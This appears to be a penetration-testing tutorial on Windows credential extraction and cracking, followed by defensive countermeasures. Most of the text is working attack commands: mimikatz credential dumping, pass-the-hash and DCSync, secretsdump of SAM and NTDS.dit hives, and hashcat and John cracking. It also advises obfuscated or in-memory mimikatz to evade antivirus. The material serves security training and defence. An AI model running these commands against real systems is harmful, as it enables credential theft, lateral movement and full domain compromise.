Windows System Password Recovery

Extracting and cracking Windows authentication credentials

What You'll Discover

🎯 Why This Matters

Windows password cracking represents a fundamental skill in penetration testing and incident response. Windows systems dominate enterprise environments, with Active Directory authentication controlling access to critical resources across entire networks. Understanding how to extract and crack Windows credentials enables security professionals to assess password policies, demonstrate attack feasibility, and identify vulnerable accounts before malicious actors exploit them. During penetration tests, obtaining local administrator or domain credentials often provides the pivot point for lateral movement, privilege escalation, and achieving full network compromise. Mastering Windows password cracking techniques is essential for evaluating the true security posture of Windows-based infrastructure.

🔍 What You'll Learn

You'll master Windows credential extraction tools including mimikatz, secretsdump.py, and pwdump, understand NTLM and NTLMv2 hash formats and their vulnerabilities, learn SAM database extraction techniques from offline and live systems, and develop skills in password cracking, pass-the-hash attacks, and Active Directory password auditing. These techniques are critical for penetration testing Windows environments, assessing organizational password policies, identifying credential reuse patterns, and understanding how attackers pivot through Windows networks using stolen authentication material.

🚀 Your First Win

In the next 20 minutes, you'll understand how Windows stores passwords, learn to extract NTLM hashes from the SAM database, and know exactly how security professionals crack Windows credentials during security assessments.

🔧 Try This Right Now

Let's examine how Windows password hashes work using a simple demonstration (requires Windows or Kali Linux with Impacket):

# NTLM Hash Generation Example
# Windows NTLM hashes are MD4 hashes of the UTF-16LE password

# Install passlib for NTLM hash generation:
# Ubuntu/Debian:
sudo apt install python3-passlib
# OR via pip:
pip3 install passlib

# Generate NTLM hash:
python3 -c "from passlib.hash import nthash; print(nthash.hash('password'))"
# Output: 8846f7eaee8fb117ad06bdd830b7586c

# The same password always produces the same hash (no salt!)
# This is why NTLM is vulnerable to rainbow tables

# For penetration testing, you'll extract hashes from:
# 1. SAM database (local accounts)
# 2. NTDS.dit (Active Directory)
# 3. Memory dumps (mimikatz)
# 4. Network captures (NTLMv2 challenge/response)

# Example: Viewing local SAM hashes (requires admin)
# Windows:
# reg save HKLM\SAM sam.save
# reg save HKLM\SYSTEM system.save

# Linux (mount Windows partition):
# sudo mount /dev/sda1 /mnt
# ls /mnt/Windows/System32/config/SAM

# Extract hashes with secretsdump.py (Impacket):
# secretsdump.py -sam sam.save -system system.save LOCAL

# You'll see format:
# username:RID:LM_hash:NTLM_hash:::
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

You'll see: NTLM hashes are 32-character hexadecimal strings representing MD4 hashes of passwords. The lack of salting means identical passwords produce identical hashes, enabling rainbow table attacks and making weak passwords instantly recognizable. Understanding this hash format is fundamental to Windows credential attacks.

Skills You'll Master

Understanding Windows Authentication

Windows authentication has evolved through multiple generations, with NTLM (NT LAN Manager) representing the legacy protocol still widely used today. When a user logs into Windows, their password is hashed using MD4 (for NTLM) and stored in the Security Account Manager (SAM) database for local accounts, or in Active Directory's NTDS.dit database for domain accounts. The critical vulnerability is that NTLM hashes use no salt - identical passwords produce identical hashes across all Windows systems. This design flaw, maintained for backward compatibility, enables rainbow table attacks and makes weak passwords instantly recognizable to attackers who obtain hash databases.

The Microsoft NTLM authentication documentation describes the protocol mechanics, but the security implications are severe. NTLM hashes can be cracked at speeds exceeding 100 billion attempts per second on high-end GPUs. Simple passwords like "Password1" crack instantly, while even complex 8-character passwords may fall within hours. The absence of key derivation functions like PBKDF2 means there's no computational cost to password testing, unlike modern password hashing schemes.

Pass-the-hash attacks represent an even more critical vulnerability in Windows authentication. Since Windows systems authenticate using NTLM hashes directly (not the plaintext password), attackers who obtain hashes can authenticate to systems without ever cracking the password. Tools like mimikatz, Impacket's psexec.py, and CrackMapExec enable lateral movement through Windows networks using stolen NTLM hashes. This fundamentally undermines password-based security - even strong, random passwords provide no protection against pass-the-hash attacks once the hash is compromised. Organizations must implement additional controls like credential guard, restricted admin mode, and proper network segmentation to mitigate this attack vector.

Tools and Techniques

🔨 mimikatz: Credential Extraction Master

Mimikatz, created by Benjamin Delpy, represents the industry standard for Windows credential extraction. This tool extracts plaintext passwords, NTLM hashes, Kerberos tickets, and other authentication material from Windows memory. While primarily known for post-exploitation credential theft, mimikatz also enables pass-the-hash, pass-the-ticket, and golden ticket attacks.

# Download mimikatz from: https://github.com/gentilkiwi/mimikatz
# Requires administrator privileges

# Basic credential dumping
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

# Output shows:
# - Usernames
# - Domains
# - NTLM hashes
# - Sometimes plaintext passwords (if WDigest enabled)

# Extract all credentials from LSASS memory
sekurlsa::logonpasswords full

# Dump SAM database hashes
lsadump::sam

# Pass-the-hash attack (authenticate using hash)
sekurlsa::pth /user:Administrator /domain:HACKERDNA /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

# Kerberos ticket extraction
sekurlsa::tickets /export

# DCSync attack (extract hashes from Domain Controller)
lsadump::dcsync /domain:hackerdna.local /user:Administrator

# Note: Modern Windows Defender detects mimikatz
# Use obfuscated versions or execute from memory
# Alternatives: pypykatz, SharpKatz, SafetyKatz

Mimikatz's power comes from its ability to interact with Windows authentication subsystems at a low level. The sekurlsa module extracts credentials from LSASS (Local Security Authority Subsystem Service) memory, where Windows caches authentication material. The official mimikatz repository provides comprehensive documentation, though security professionals should note that mimikatz is heavily signatured by antivirus. Production pentests require evasion techniques or alternative tools.

⚡ Impacket secretsdump: Offline Hash Extraction

Impacket's secretsdump.py provides powerful offline credential extraction from SAM, SYSTEM, and NTDS.dit files. This Python tool works across platforms and doesn't require Windows, making it ideal for forensic analysis and offline password auditing.

# Install Impacket
pip3 install impacket

# Extract local SAM hashes (offline)
# First, obtain SAM and SYSTEM registry hives
# On target Windows system (as admin):
# reg save HKLM\SAM sam.save
# reg save HKLM\SYSTEM system.save

# Extract hashes with secretsdump
secretsdump.py -sam sam.save -system system.save LOCAL

# Output format:
# username:RID:LM_hash:NTLM_hash:::
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

# Remote extraction (requires credentials)
secretsdump.py 'DOMAIN/user:password@<target>'

# Using NTLM hash for authentication (pass-the-hash)
secretsdump.py -hashes :8846f7eaee8fb117ad06bdd830b7586c 'DOMAIN/Administrator@<target>'

# Extract Active Directory hashes from NTDS.dit
# First, obtain NTDS.dit and SYSTEM from Domain Controller
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# DCSync attack (remotely extract DC hashes)
secretsdump.py 'DOMAIN/Administrator:password@<target>' -just-dc

# Extract specific user
secretsdump.py 'DOMAIN/Administrator:password@<target>' -just-dc-user krbtgt

Secretsdump excels at offline analysis, making it valuable for forensic investigations and password audits where you have disk images or registry dumps. The tool also supports remote extraction via SMB, enabling credential harvesting from live systems during authorized penetration tests. For Active Directory environments, extracting NTDS.dit provides hashes for every domain account, enabling comprehensive password policy assessment.

🚀 hashcat: GPU-Accelerated NTLM Cracking

Hashcat provides extreme performance for NTLM hash cracking through GPU acceleration. NTLM's lack of key derivation makes it one of the fastest hash types to crack - modern GPUs achieve over 100 billion NTLM attempts per second.

# Hashcat mode for NTLM: 1000
# Format: hash or username:hash

# Dictionary attack
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt

# Rule-based attack for password mutations
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt -r rules/best64.rule

# Mask attack for known patterns
# Example: 8 chars, starts with capital, ends with 2 digits
hashcat -m 1000 -a 3 ntlm_hashes.txt '?u?l?l?l?l?l?d?d'

# Hybrid attack: wordlist + mask
hashcat -m 1000 -a 6 ntlm_hashes.txt rockyou.txt '?d?d?d?d'

# Combination attack
hashcat -m 1000 -a 1 ntlm_hashes.txt wordlist1.txt wordlist2.txt

# Show cracked passwords
hashcat -m 1000 ntlm_hashes.txt --show

# Benchmark NTLM cracking speed
hashcat -m 1000 -b

# Typical speeds:
# RTX 3090: 100+ GH/s (100 billion hashes/second)
# RTX 4090: 200+ GH/s
# Even weak GPUs achieve billions of attempts/second

# For NTLMv2 (challenge/response from network capture)
# Mode 5600: NetNTLMv2
hashcat -m 5600 -a 0 ntlmv2_hashes.txt rockyou.txt

The extreme speed of NTLM cracking means password length becomes critical. An 8-character password using all character types can be exhaustively searched in weeks on consumer hardware. Organizations should require 14+ character passwords minimum, though even this provides limited protection against targeted attacks with custom wordlists. NTLMv2 cracking is significantly slower due to challenge/response computation, but still vulnerable to dictionary attacks.

🎯 John the Ripper: Versatile Password Cracking

John the Ripper provides excellent NTLM cracking with automatic format detection and built-in wordlist management. While slower than hashcat's GPU acceleration, John excels at incremental mode and custom rule-based attacks.

# Format detection and cracking
john ntlm_hashes.txt

# Specify format explicitly
john --format=NT ntlm_hashes.txt

# Dictionary attack
john --wordlist=rockyou.txt ntlm_hashes.txt

# Rule-based mutations
john --rules --wordlist=rockyou.txt ntlm_hashes.txt

# Incremental mode (brute force)
john --incremental ntlm_hashes.txt

# Show cracked passwords
john --show ntlm_hashes.txt

# Custom rules for corporate Windows passwords
echo '[List.Rules:WindowsRules]' > windows.conf
echo 'cAz"[0-9][0-9][0-9][0-9]"' >> windows.conf  # Company name + 4 digits
echo 'cAz"[!@#$]"' >> windows.conf  # Capitalize + special char
echo 'Az"[0-9][0-9]""[!@#]"' >> windows.conf  # Word + digits + special

john --rules=WindowsRules --wordlist=company.txt ntlm_hashes.txt

# Session management
john --session=hdna_windows ntlm_hashes.txt
john --restore=hdna_windows

John the Ripper's strength lies in its rule engine and incremental mode. Corporate Windows passwords often follow predictable patterns (Season+Year+Special, CompanyName+Quarter, etc.), making custom rules highly effective. The incremental mode systematically tests passwords by frequency analysis, often cracking simple passwords faster than dictionary attacks.

Defensive Countermeasures

🛡️ Strong Password Policies

Given NTLM's weak hashing, Windows environments require stringent password policies that account for the extreme speed of offline cracking. Microsoft's password policy recommendations provide baseline guidance, but organizations should exceed these minimums for privileged accounts.

• Minimum 14 characters: Longer passwords exponentially increase cracking time
• Passphrases over complexity: "correct horse battery staple" beats "P@ssw0rd!"
• Privileged account requirements: 20+ characters for domain admins and service accounts
• Password rotation: Regular changes for privileged accounts (quarterly minimum)

🔐 Credential Protection Technologies

Modern Windows versions include credential protection features that mitigate credential theft and pass-the-hash attacks. Organizations should enable these protections across all Windows systems, particularly on high-value targets like servers and administrator workstations.

• Credential Guard: Uses virtualization-based security to protect NTLM hashes and Kerberos tickets
• Remote Credential Guard: Protects credentials during Remote Desktop sessions
• Restricted Admin Mode: RDP without sending credentials to remote system
• LSA Protection: Prevents code injection into LSASS process

⚡ Active Directory Security Hardening

Active Directory security extends beyond password policies to include privilege management, audit logging, and attack surface reduction. The tiered administrative model separates high-privilege accounts from day-to-day operations, limiting credential exposure.

• Tiered administration: Separate admin accounts for Tier 0 (Domain Controllers), Tier 1 (servers), Tier 2 (workstations)
• Privileged Access Workstations (PAW): Dedicated, hardened systems for administrative tasks
• Just-In-Time (JIT) administration: Temporary privilege elevation instead of persistent admin rights
• Disable NTLM authentication: Transition to Kerberos-only where possible

🔍 Monitoring and Detection

Detecting credential theft and pass-the-hash attacks requires comprehensive logging, behavioral analysis, and security monitoring. Organizations should implement detection mechanisms for common attack patterns associated with Windows credential compromise.

• Enhanced audit policies: Log all authentication events, privilege use, and sensitive object access
• Credential dumping detection: Monitor for mimikatz signatures and LSASS access
• Lateral movement detection: Alert on unusual authentication patterns and service usage
• Password spray detection: Identify distributed authentication attempts across multiple accounts

FAQ

Windows Password Cracking Basics

Technical Implementation

Practical Applications

🎯 You've Got Windows Password Cracking Down!

You now understand Windows authentication mechanisms, can extract NTLM hashes from SAM databases and memory, and know how to crack Windows credentials using hashcat and John the Ripper. These skills are essential for penetration testing Windows environments, assessing organizational password policies, and understanding how attackers pivot through Windows networks using stolen authentication material.

Ready to explore advanced password cracking optimization techniques